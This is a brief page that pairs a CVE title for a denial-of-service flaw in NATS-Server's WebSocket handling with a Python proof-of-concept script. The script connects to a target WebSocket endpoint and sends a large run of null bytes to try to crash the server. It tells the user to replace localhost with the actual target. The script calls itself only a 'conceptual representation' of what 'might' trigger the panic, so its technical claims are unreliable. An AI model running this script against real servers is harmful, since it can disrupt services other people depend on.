CVE-2026-27889 NATS-Server WebSocket拒绝服务漏洞

import asyncio import websockets # PoC for CVE-2026-27889: NATS-Server WebSocket Panic # This script attempts to send a malformed frame to trigger the server panic. async def send_malformed_frame(uri): try: # Connect to the NATS WebSocket port async with websockets.connect(uri) as websocket: print(f"Connected to {uri}") # Sending a potentially malformed or oversized payload # Note: The specific frame structure causing the panic depends on the missing sanity check. # This is a conceptual representation. malicious_payload = "\x00" * 10000 # Example payload that might trigger overflow/panic await websocket.send(malicious_payload) print("Malformed frame sent.") response = await websocket.recv() print(f"Received: {response}") except Exception as e: print(f"Exception occurred (Server likely crashed): {e}") if __name__ == "__main__": target_uri = "ws://localhost:8080" # Replace with actual target asyncio.get_event_loop().run_until_complete(send_malformed_frame(target_uri))